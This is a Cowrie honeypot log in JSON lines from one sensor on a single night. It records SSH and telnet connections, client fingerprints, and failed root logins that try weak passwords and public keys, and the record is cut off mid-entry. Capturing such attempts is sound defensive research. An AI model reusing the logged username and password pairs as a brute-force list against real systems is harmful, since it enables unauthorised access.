{"eventid":"cowrie.login.failed","username":"root","password":"kalina","message":"login attempt [root/kalina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:49.789085Z","src_ip":"103.77.242.62","session":"632471cdce51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:51.027312Z","src_ip":"103.77.242.62","session":"632471cdce51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":48932,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f4b13b4d4bb","protocol":"ssh","message":"New connection: 103.82.132.16:48932 (10.17.0.5:22) [session: 8f4b13b4d4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:59.416183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:59.420481Z","src_ip":"103.82.132.16","session":"8f4b13b4d4bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:59.690510Z","src_ip":"103.82.132.16","session":"8f4b13b4d4bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bdfyjdf","message":"login attempt [root/bdfyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:00.572850Z","src_ip":"103.82.132.16","session":"8f4b13b4d4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:01.849403Z","src_ip":"103.82.132.16","session":"8f4b13b4d4bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40464,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c71e87ead13","protocol":"ssh","message":"New connection: 80.94.92.184:40464 (10.17.0.5:22) [session: 7c71e87ead13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:11.966577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:12.337677Z","src_ip":"80.94.92.184","session":"7c71e87ead13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:12.342074Z","src_ip":"80.94.92.184","session":"7c71e87ead13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456789","message":"login attempt [solv/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:13.668401Z","src_ip":"80.94.92.184","session":"7c71e87ead13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:14.900275Z","src_ip":"80.94.92.184","session":"7c71e87ead13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37246,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c142f52b262","protocol":"telnet","message":"New connection: 152.42.224.71:37246 (10.17.0.5:23) [session: 9c142f52b262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:20.614923Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43712,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f3c981b1b17","protocol":"ssh","message":"New connection: 103.27.238.116:43712 (10.17.0.5:22) [session: 5f3c981b1b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:24.119218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:24.124737Z","src_ip":"103.27.238.116","session":"5f3c981b1b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:24.406906Z","src_ip":"103.27.238.116","session":"5f3c981b1b17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789zxc","message":"login attempt [root/123456789zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:25.253363Z","src_ip":"103.27.238.116","session":"5f3c981b1b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:26.538192Z","src_ip":"103.27.238.116","session":"5f3c981b1b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.221.176.152","src_port":45902,"dst_ip":"10.17.0.5","dst_port":22,"session":"da26b8606421","protocol":"ssh","message":"New connection: 206.221.176.152:45902 (10.17.0.5:22) [session: da26b8606421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.800944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.806142Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.812860Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:58:fb:8d:d0:66:5f:30:f4:38:28:39:21:94:23:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFhAUk3A8y3lRc5A6cOeM2FgO2OK2Pfw/uHnjeCoKBjqtywHbQXE+vODmnMQjcF+3MBp9AfZfQq65s1Rz1nx0fK7tDvTo4yoALCtFKXNSCJcXOitES2f73bZRpJbRHHwdvHycJeL0ySfQdOXS5Z+6YLsgdqUUpaQFh+ggU9/uzZ+9HowZzDKTNrIOD2OIxhXzgRiHizKbU3eSzUtAYZZeesJKOAph4KUY6h1a1DXP4o29t5a06Mi0N1Xx+jSfvPttvz2h9TV941MwQo3rMb9/C2SKcfQ7qEewMhXLGp/J15jTm3FFKZDJgVYk2NshltP6UJfsClA/44gJYNIkniDp3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:58:fb:8d:d0:66:5f:30:f4:38:28:39:21:94:23:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.828963Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:58:fb:8d:d0:66:5f:30:f4:38:28:39:21:94:23:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFhAUk3A8y3lRc5A6cOeM2FgO2OK2Pfw/uHnjeCoKBjqtywHbQXE+vODmnMQjcF+3MBp9AfZfQq65s1Rz1nx0fK7tDvTo4yoALCtFKXNSCJcXOitES2f73bZRpJbRHHwdvHycJeL0ySfQdOXS5Z+6YLsgdqUUpaQFh+ggU9/uzZ+9HowZzDKTNrIOD2OIxhXzgRiHizKbU3eSzUtAYZZeesJKOAph4KUY6h1a1DXP4o29t5a06Mi0N1Xx+jSfvPttvz2h9TV941MwQo3rMb9/C2SKcfQ7qEewMhXLGp/J15jTm3FFKZDJgVYk2NshltP6UJfsClA/44gJYNIkniDp3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.832666Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:22:62:81:2b:f9:32:40:0a:bc:45:47:ad:a4:0f:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDpaf1Dj1wr0ijhIfN/im2vl3gQ482c6YSLWx42zeu/not2769bzPgobC4VazLtFLpiVtkdFihebgKa3bt/v4VbMe+Ajr9FjEtI5PtTYsE5oIr+gFKUju02UgA00k6YHeLqayAbyYdssii/DdX7/ghKOcTkmLtzNuR679bzu9JdorFnoA+xcuEeqnLzyCz3Rn4kwaw/FWUwlJEw1MAurbpkFfPT+1R8rOhOFsf6GtseR3Xqo1xihzzsaOzIOa4daA2DZIL3PgR4IXFRHRedZq5kNQQv44+LsujSGD9QTYg43PVdjw6l1tHlx8gi7zlhJY4TzkveCy4NhYiHtxNmlhqHapl/QZnkpS9v4PH8hG2JoNrfWkmD2rZwohT6IoXoDcGw1OblL4AjBOXgelqdQx2YU6EDVxJdZpzhks+7uwGeBYxUGCEnx57sob2vsd2z01HQRcHHNg470EAkU+bxWrAKsqzExlYicUZ4SuWh6xYDbfQyNmBoWTHI0lTP/e1SPWJHKEx6hruj3bz+SMrh6wgXVYHRsH5i4a+Mxn/IeP5QXfFrcpJVSlf/2ixv1rxg+JFxgbdAbn3kJ1Bw9MyLWeZ0XEldMg9XunNfibt8QGPM32vF+/GV8Mt7hV5+kBl41PzTECrRmfawmgf/q3DYYU2xCAZ/sT55mU0EeRRDjA/HFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:22:62:81:2b:f9:32:40:0a:bc:45:47:ad:a4:0f:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.842206Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:22:62:81:2b:f9:32:40:0a:bc:45:47:ad:a4:0f:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDpaf1Dj1wr0ijhIfN/im2vl3gQ482c6YSLWx42zeu/not2769bzPgobC4VazLtFLpiVtkdFihebgKa3bt/v4VbMe+Ajr9FjEtI5PtTYsE5oIr+gFKUju02UgA00k6YHeLqayAbyYdssii/DdX7/ghKOcTkmLtzNuR679bzu9JdorFnoA+xcuEeqnLzyCz3Rn4kwaw/FWUwlJEw1MAurbpkFfPT+1R8rOhOFsf6GtseR3Xqo1xihzzsaOzIOa4daA2DZIL3PgR4IXFRHRedZq5kNQQv44+LsujSGD9QTYg43PVdjw6l1tHlx8gi7zlhJY4TzkveCy4NhYiHtxNmlhqHapl/QZnkpS9v4PH8hG2JoNrfWkmD2rZwohT6IoXoDcGw1OblL4AjBOXgelqdQx2YU6EDVxJdZpzhks+7uwGeBYxUGCEnx57sob2vsd2z01HQRcHHNg470EAkU+bxWrAKsqzExlYicUZ4SuWh6xYDbfQyNmBoWTHI0lTP/e1SPWJHKEx6hruj3bz+SMrh6wgXVYHRsH5i4a+Mxn/IeP5QXfFrcpJVSlf/2ixv1rxg+JFxgbdAbn3kJ1Bw9MyLWeZ0XEldMg9XunNfibt8QGPM32vF+/GV8Mt7hV5+kBl41PzTECrRmfawmgf/q3DYYU2xCAZ/sT55mU0EeRRDjA/HFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.846147Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:4c:db:6f:be:1a:b5:6c:70:44:38:9f:25:b8:38:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRnFpbnLxpNwD8z+ofbZmrEk3m5zxIcvL8jeiyOSVrMFC0GvEMpjhW8SbSxScU8ewgCyvPilduuP28ucu/rN3rMAckdAsysZxUuUKSzeigfHDSgXH22qrCNOKwHiRYC71LXIFc/tfVXoDbSIl+R8lGsnWAZrYMhGYqlE0qi71ISIpZjgdRiKbb60AVzr5YF4PdOP+8ul148JcJV7IFN59bQdSxsF/KVYOrBhyNV0bE0xc6nfzwwpeSplGWEFGTizo1oHZUqLpLeUtitlek37okiuc/eNOXE72Q0K9UupVqwcXcgTj+5oCuVdvnu6gf5EXtMQ3TOyDkXnJLlBURhHI7FyieI6LEccQlHatoF2M+TN2vTLA5U7dHbFZ1ZgKb5/2X3Ow94yUEK9//XuCacKBpZSRKyTPCIWFoybJAxw0IfJfcWlSL9M7MogGfKcOWJU/ksn0cEOxvzjFKB009pZbpz0VuRYNLuLn8fLa7zFMuSF4plUw8Q0KRv8w3lw2/zhbLSCYDQJMyvC6jcBVZ95JOoMXdNriKOU2HyVZ4cpKAN4rdi3b2jBh7QhWLzgTk7lalUm7Q590jeUDlIUb9Pw5BGANhtK/qtIBMVidROV0I35A+MmiJRmA20XnaBHqfkjza81Xn1cL4rWWpynEvIkeLF5bhkWnypaHqC7MFaiifFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:4c:db:6f:be:1a:b5:6c:70:44:38:9f:25:b8:38:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.853970Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:4c:db:6f:be:1a:b5:6c:70:44:38:9f:25:b8:38:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRnFpbnLxpNwD8z+ofbZmrEk3m5zxIcvL8jeiyOSVrMFC0GvEMpjhW8SbSxScU8ewgCyvPilduuP28ucu/rN3rMAckdAsysZxUuUKSzeigfHDSgXH22qrCNOKwHiRYC71LXIFc/tfVXoDbSIl+R8lGsnWAZrYMhGYqlE0qi71ISIpZjgdRiKbb60AVzr5YF4PdOP+8ul148JcJV7IFN59bQdSxsF/KVYOrBhyNV0bE0xc6nfzwwpeSplGWEFGTizo1oHZUqLpLeUtitlek37okiuc/eNOXE72Q0K9UupVqwcXcgTj+5oCuVdvnu6gf5EXtMQ3TOyDkXnJLlBURhHI7FyieI6LEccQlHatoF2M+TN2vTLA5U7dHbFZ1ZgKb5/2X3Ow94yUEK9//XuCacKBpZSRKyTPCIWFoybJAxw0IfJfcWlSL9M7MogGfKcOWJU/ksn0cEOxvzjFKB009pZbpz0VuRYNLuLn8fLa7zFMuSF4plUw8Q0KRv8w3lw2/zhbLSCYDQJMyvC6jcBVZ95JOoMXdNriKOU2HyVZ4cpKAN4rdi3b2jBh7QhWLzgTk7lalUm7Q590jeUDlIUb9Pw5BGANhtK/qtIBMVidROV0I35A+MmiJRmA20XnaBHqfkjza81Xn1cL4rWWpynEvIkeLF5bhkWnypaHqC7MFaiifFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.857767Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:b2:56:25:72:35:6a:3b:ba:4f:dd:94:9c:9d:a2:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvgQ/NCifX2A1n9BTQNO8UD50g1ARD+CX/q8W09yjXi1oNQ1zO6o+YB6yljlIHsG2zbo0MzXhe+EG4BxmRTUk08X33thtYCX4oIXI24U11MGoYEmYvcUvjWFC34UFwQQu8chRS+H/wEXD63/UL7RJnZtHJeog2iVGJsnTH6mmdjjHZhyUWmskoSdYUs3ScAXBRK10HmBbL5ba9wCnEEgH3fytVeqNhBMJ86MYNJNZaM+AbMsKagGufAWtVnchgIGzdtTNoMvNgz6na/gvsIRy+td7FMVeKkzi996MmHcNAyH8XqYanyIH22sjXM9Evc+xtfvoibs1uc2+mxllII47GwlUyvYzeWiMli10nTNRm4dybc0+zzvo3iMHNrsaAqcGoaNMr0NZ1uBoEQDckt2AgQVU21EFwtagIovKkv6/tsZRrsDCcUE4oUhtW0DZ+C7P2BUqpWDN/6Opr4Mo+iZzPzDScHzKq8qBHbVILNcN23MIF0MYFLCu0alspnB5w+bRhPqkzjSo7ZFOCQfwp9AErg7mItawfULcto3tukV7eZ6dX+s7KW8kRiEWxcmA6wjGLxVqHHmzZrMVaZcuIokcEu++nzAa3Mq48h2t3jANqrakJi6osEMTnk0Yz/2TxYjFgKixuVHJ2cqCCIJbl5RMqTAffuF0Vjs0Q8irg/0Xg0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:b2:56:25:72:35:6a:3b:ba:4f:dd:94:9c:9d:a2:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.866207Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:b2:56:25:72:35:6a:3b:ba:4f:dd:94:9c:9d:a2:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvgQ/NCifX2A1n9BTQNO8UD50g1ARD+CX/q8W09yjXi1oNQ1zO6o+YB6yljlIHsG2zbo0MzXhe+EG4BxmRTUk08X33thtYCX4oIXI24U11MGoYEmYvcUvjWFC34UFwQQu8chRS+H/wEXD63/UL7RJnZtHJeog2iVGJsnTH6mmdjjHZhyUWmskoSdYUs3ScAXBRK10HmBbL5ba9wCnEEgH3fytVeqNhBMJ86MYNJNZaM+AbMsKagGufAWtVnchgIGzdtTNoMvNgz6na/gvsIRy+td7FMVeKkzi996MmHcNAyH8XqYanyIH22sjXM9Evc+xtfvoibs1uc2+mxllII47GwlUyvYzeWiMli10nTNRm4dybc0+zzvo3iMHNrsaAqcGoaNMr0NZ1uBoEQDckt2AgQVU21EFwtagIovKkv6/tsZRrsDCcUE4oUhtW0DZ+C7P2BUqpWDN/6Opr4Mo+iZzPzDScHzKq8qBHbVILNcN23MIF0MYFLCu0alspnB5w+bRhPqkzjSo7ZFOCQfwp9AErg7mItawfULcto3tukV7eZ6dX+s7KW8kRiEWxcmA6wjGLxVqHHmzZrMVaZcuIokcEu++nzAa3Mq48h2t3jANqrakJi6osEMTnk0Yz/2TxYjFgKixuVHJ2cqCCIJbl5RMqTAffuF0Vjs0Q8irg/0Xg0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:37:45.870509Z","src_ip":"206.221.176.152","session":"da26b8606421","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:e8:e5:89:68:7f:32:61:57:29:d3:0f:6e:62:3b:1d","key":"ssh-rsa 